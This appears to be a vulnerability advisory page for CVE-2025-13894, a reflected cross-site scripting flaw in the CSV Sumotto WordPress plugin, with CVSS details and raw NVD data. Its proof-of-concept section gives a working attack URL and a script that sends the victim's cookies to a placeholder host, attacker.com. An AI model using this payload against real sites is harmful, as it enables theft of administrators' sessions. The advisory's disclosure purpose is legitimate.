Security Vulnerability Report
中文
CVE-2025-13894 CVSS 6.1 MEDIUM

CVE-2025-13894

Published: 2025-12-06 06:15:53
Last Modified: 2026-04-15 00:35:42

Description

The CSV Sumotto plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the `$_SERVER['PHP_SELF']` variable in all versions up to, and including, 1.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

CSV Sumotto plugin for WordPress <= 1.0 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-13894 PoC: Reflected XSS via PHP_SELF --> <!-- Original URL: /wp-admin/admin.php?page=csv_sumotto_settings --> <!-- Malicious URL: /wp-admin/admin.php/<script>alert(document.cookie)</script>?page=csv_sumotto_settings --> <!-- Attack URL (URL encode the payload) --> <!-- https://target-site.com/wp-admin/admin.php/<script>alert(document.cookie)</script>?page=csv_sumotto_settings --> <!-- HTML PoC for demonstration --> <a href='/wp-admin/admin.php/<script>alert("XSS")</script>?page=csv_sumotto_settings'> Click here to view settings </a> <!-- Automated PoC request --> <script> // Construct malicious URL const baseUrl = window.location.origin + '/wp-admin/admin.php/'; const xssPayload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'; const maliciousUrl = baseUrl + encodeURIComponent(xssPayload) + '?page=csv_sumotto_settings'; // Create and submit form const form = document.createElement('form'); form.action = maliciousUrl; form.method = 'POST'; document.body.appendChild(form); form.submit(); </script>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13894", "sourceIdentifier": "[email protected]", "published": "2025-12-06T06:15:52.987", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The CSV Sumotto plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the `$_SERVER['PHP_SELF']` variable in all versions up to, and including, 1.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/csv-sumotto/trunk/csv_sumotto_settings.php#L53", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/e6aa8089-1c29-41ef-b2c0-06841751f7a5?source=cve", "source": "[email protected]"}]}}